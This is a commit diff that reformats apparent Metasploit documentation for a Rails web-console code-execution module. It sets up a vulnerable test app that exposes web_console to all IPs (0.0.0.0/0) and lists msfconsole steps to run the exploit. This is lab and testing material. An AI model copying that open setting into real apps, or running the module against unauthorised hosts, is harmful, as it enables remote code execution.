Fixing code blocks
This commit is contained in:
@@ -7,12 +7,16 @@
|
||||
**Prerequisites:**
|
||||
|
||||
```
|
||||
$ gem install rails -v 4.2.6
|
||||
$ rails new taco
|
||||
$ cd taco
|
||||
$ vim config/environments/development.rb
|
||||
Add the following line just before the final `end' tag:
|
||||
gem install rails -v 4.2.6
|
||||
rails new taco
|
||||
cd taco
|
||||
vim config/environments/development.rb
|
||||
```
|
||||
|
||||
Add the following line just before the final `end' tag:
|
||||
config.web_console.whitelisted_ips = %w(0.0.0.0/0)
|
||||
|
||||
```
|
||||
$ bundle
|
||||
$ rails server
|
||||
```
|
||||
@@ -26,7 +30,7 @@ sudo apt-get install nodejs
|
||||
**Launch msfconsole:**
|
||||
|
||||
1. Do: ```use exploit/multi/http/rails_web_console_v2_code_exec```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
2. Do: ```set RHOST [IP]```
|
||||
3. Do: ```set RPORT [Port]```
|
||||
4. Do: ```run```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user